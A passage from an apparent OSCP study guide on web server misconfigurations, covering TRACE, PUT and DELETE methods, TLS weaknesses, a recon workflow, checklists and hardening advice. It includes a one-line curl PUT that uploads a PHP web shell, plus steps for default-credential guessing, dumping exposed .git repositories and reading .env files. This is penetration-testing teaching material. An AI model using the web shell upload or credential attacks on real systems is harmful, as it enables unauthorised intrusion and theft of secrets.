The TRACE method echoes back the received request, which can be exploited for Cross-Site Tracing (XST) — a variant of XSS that can steal credentials by reflecting them from the response.

Detection:

curl -X TRACE https://target.com -v

Vulnerable Response:

HTTP/1.1 200 OK
Content-Type: message/http

TRACE / HTTP/1.1
Host: target.com
Cookie: session=abc123; auth_token=xyz789

Impact: Combined with social engineering, XST can steal HTTP authentication credentials and cookies that would normally be protected by same-origin policy.

Mitigation: Disable TRACE method.

# Apache
TraceEnable Off
# Nginx
if ($request_method = TRACE) {
    return 405;
}

11.2 PUT Method — Arbitrary File Upload

If PUT is enabled without authentication, an attacker can upload arbitrary files to the web server.

Detection:

curl -X OPTIONS https://target.com
# Check Allow header for PUT

# Test PUT upload
curl -X PUT https://target.com/shell.php -d "<?php system(\$_GET['cmd']); ?>"

Impact: If the uploaded file is executable (e.g., .php, .jsp, .asp), this leads to Remote Code Execution.

11.3 DELETE Method

If DELETE is enabled on API endpoints without proper authentication, an attacker can delete resources.

Detection:

curl -X DELETE https://target.com/api/users/1 -v

12. SSL/TLS Misconfigurations

12.1 Common SSL/TLS Issues

Issue Description Risk
SSLv2/SSLv3 enabled Deprecated protocols with known vulnerabilities POODLE attack
TLS 1.0/1.1 enabled Deprecated protocols BEAST, downgrade attacks
Weak cipher suites RC4, DES, 3DES, export ciphers Cipher breakage
Missing HSTS No HTTP Strict Transport Security SSL stripping
Self-signed certificates Not trusted by browsers MITM (if user accepts)
Expired certificates Certificate past validity period Service disruption
Certificate mismatch CN/SAN doesn’t match hostname MITM opportunity
OCSP stapling disabled No online certificate status protocol Revocation check bypass

12.2 Testing SSL/TLS Configuration

# testssl.sh — most comprehensive tool
testssl.sh https://target.com

# Check for specific protocol support
testssl.sh --protocols https://target.com
testssl.sh --ciphers https://target.com
testssl.sh --compression https://target.com
testssl.sh --clientcert https://target.com

# SSL Labs API (requires API key)
# https://www.ssllabs.com/ssltest/

# Nmap SSL scripts
nmap --script ssl-enum-ciphers -p 443 <target>
nmap --script ssl-heartbleed -p 443 <target>
nmap --script ssl-poodle -p 443 <target>

13. OSCP Exam Relevance and Common Patterns

13.1 Most Common Misconfigurations on OSCP Machines

Based on extensive OSCP exam analysis, the following misconfigurations appear with the highest frequency:

Rank Misconfiguration Typical Machines Exploitation Path
1 Default credentials on web apps Tomcat, phpMyAdmin, Drupal, Jenkins Login → Upload shell / RCE
2 Directory listing enabled Apache, IIS Find backup → Extract creds → Login
3 Exposed .git/ directory PHP, Python apps Dump source → Find creds / vulns
4 Verbose error messages All frameworks Stack trace → File paths → LFI / SQLi
5 Debug pages exposed Django, Spring Boot, Rails Debug console → RCE / info disclosure
6 SNMP public community Windows, Linux SNMP walk → Usernames / services
7 Backup files accessible All backup.zip → Source code → Creds
8 .env file exposed Node.js, Python, Ruby Environment variables → DB creds
9 Tomcat manager accessible Java apps Deploy WAR → Reverse shell
10 phpMyAdmin with blank root password PHP apps SQL → Write web shell / hash extraction

13.2 OSCP Reconnaissance Workflow for Misconfigurations

┌─────────────────────────────────────────────────┐
│           STEP 1: Initial Recon                  │
│  nmap -sV -sC -p- --min-rate 1000 <target>      │
│  Identify all open ports and services            │
└──────────────────┬──────────────────────────────┘
                   │
┌──────────────────▼──────────────────────────────┐
│           STEP 2: Web Enumeration                │
│  gobuster dir -u http://<target> -w common.txt  │
│  nikto -h http://<target>                       │
│  whatweb http://<target>                        │
│  Check robots.txt, sitemap.xml                   │
└──────────────────┬──────────────────────────────┘
                   │
┌──────────────────▼──────────────────────────────┐
│           STEP 3: Header Analysis                │
│  curl -I http://<target>                        │
│  Check for missing security headers              │
│  Check Server, X-Powered-By headers              │
└──────────────────┬──────────────────────────────┘
                   │
┌──────────────────▼──────────────────────────────┐
│           STEP 4: Error Page Testing             │
│  Visit /nonexistent to trigger 404               │
│  Try SQL injection payloads for error messages   │
│  Check for stack traces, file paths              │
└──────────────────┬──────────────────────────────┘
                   │
┌──────────────────▼──────────────────────────────┐
│           STEP 5: Default Credential Testing     │
│  Try common defaults on all login pages          │
│  Check Tomcat, phpMyAdmin, Jenkins, Drupal       │
│  Use hydra / medusa if needed                    │
└──────────────────┬──────────────────────────────┘
                   │
┌──────────────────▼──────────────────────────────┐
│           STEP 6: File Discovery                 │
│  Check for .git/, .env, backup files             │
│  Check for phpinfo.php, server-status            │
│  Check for debug endpoints                       │
└──────────────────┬──────────────────────────────┘
                   │
┌──────────────────▼──────────────────────────────┐
│           STEP 7: Exploit & Pivot                │
│  Use discovered info for targeted attacks        │
│  Credentials → Login → Shell                     │
│  File paths → LFI → RCE                         │
│  Source code → Logic flaws → Exploitation        │
└─────────────────────────────────────────────────┘

13.3 Key OSCP Tips

  1. Always check curl -I — The response headers are the fastest way to identify the tech stack and missing security headers.

  2. Always try default credentials — Before spending hours on complex exploits, try admin:admin, admin:password, root:root, tomcat:tomcat, and blank passwords.

  3. Always check for .git/ — Access http://target.com/.git/config to test. If it returns content, dump the entire repository.

  4. Always check robots.txt — It often reveals admin panels, backup locations, and hidden directories.

  5. Always trigger error pages — Visit non-existent URLs and try basic injection payloads to see if the application returns verbose errors.

  6. Always check common debug endpoints — /debug, /phpinfo.php, /server-status, /actuator/env, /.env are quick checks that often pay off.

  7. Document everything — Every piece of information (file paths, versions, usernames) goes into your notes. On the OSCP exam, information gathered during misconfiguration enumeration often becomes critical for later exploitation steps.


14. Methodology Checklist

Use this checklist during every OSCP web engagement:

Quick Checks (5 minutes)

  • curl -I http://target — Check all response headers
  • curl http://target/robots.txt — Check for hidden paths
  • curl http://target/.env — Check for environment variables
  • curl http://target/.git/config — Check for Git exposure
  • Visit /admin/, /login/, /phpmyadmin/ — Try default credentials
  • Visit /nonexistent — Check error page verbosity

Medium Checks (15 minutes)

  • gobuster dir with common wordlist — Enumerate directories
  • nikto -h http://target — Automated misconfiguration scan
  • whatweb http://target — Technology identification
  • Check all discovered directories for listing enabled
  • Check for backup files (.bak, .zip, .sql, .old, .swp)
  • Check for debug endpoints (/debug, /phpinfo.php, /server-status)
  • Test HTTP methods with curl -X OPTIONS

Deep Checks (30+ minutes)

  • Full directory brute-force with extended wordlists
  • Test CORS configuration on all API endpoints
  • Check SSL/TLS configuration with testssl.sh
  • Enumerate cloud storage buckets if cloud services detected
  • Dump .git/ repository if accessible
  • Analyze all error messages for information disclosure
  • Test all login forms with default credential lists
  • Check for exposed consoles (JMX, Tomcat Manager, Jenkins)

15. Mitigation Strategies

15.1 Configuration Hardening Checklist

Area Action Priority
HTTP Headers Add all security headers (CSP, HSTS, X-Frame-Options, etc.) High
Server Info Disable Server and X-Powered-By headers High
Error Handling Configure custom error pages; disable debug mode in production High
Default Accounts Change all default credentials; remove default accounts Critical
Directory Listing Disable directory listing on all directories High
HTTP Methods Disable TRACE, PUT, DELETE unless explicitly needed Medium
SSL/TLS Disable SSLv3, TLS 1.0, TLS 1.1; use strong cipher suites High
CORS Use specific origin allowlists; never reflect origins High
Cloud Storage Apply least-privilege bucket policies; audit regularly High
Git/SVN Ensure .git/ and .svn/ are not accessible via web High
Debug Pages Remove or restrict access to all debug endpoints High
Cookies Set HttpOnly, Secure, and SameSite flags High
Backups Store backups outside web root; restrict access Medium

15.2 Automated Configuration Auditing

# Regular scanning schedule
# Add to crontab for weekly scans
0 2 * * 0 nikto -h https://production.com -o /var/log/nikto-weekly.txt
0 3 * * 0 testssl.sh https://production.com > /var/log/ssl-weekly.txt

# CI/CD integration
# Add security header checks to deployment pipeline
# Use tools like:
# - SSL Labs API for TLS validation
# - Mozilla Observatory for header checks
# - Trivy for container misconfiguration scanning

15.3 Defense-in-Depth Approach

Security misconfigurations should be addressed through multiple layers:

  1. Prevention: Use hardened baselines, infrastructure-as-code with security policies, and automated configuration management.
  2. Detection: Implement continuous configuration scanning, SIEM alerts for misconfiguration indicators, and regular penetration testing.
  3. Response: Maintain runbooks for common misconfiguration remediation, automate rollback of insecure configurations, and conduct post-incident reviews.

Summary

Security misconfiguration is not a single vulnerability but a category of operational failures that consistently provide the easiest attack paths on OSCP exam machines. The key to exploiting misconfigurations is thorough enumeration — every header, every error message, every directory listing, and every default credential attempt is a potential foothold.

The OSCP examiner’s golden rule for misconfigurations: If you see it, note it. If you can access it, download it. If it reveals information, use it. Misconfigurations rarely provide direct shell access, but they almost always provide the information and credentials needed to reach one.


Last Updated: 2026-09-01 | OSCP Study Guide — Chapter 06: Common Web Attacks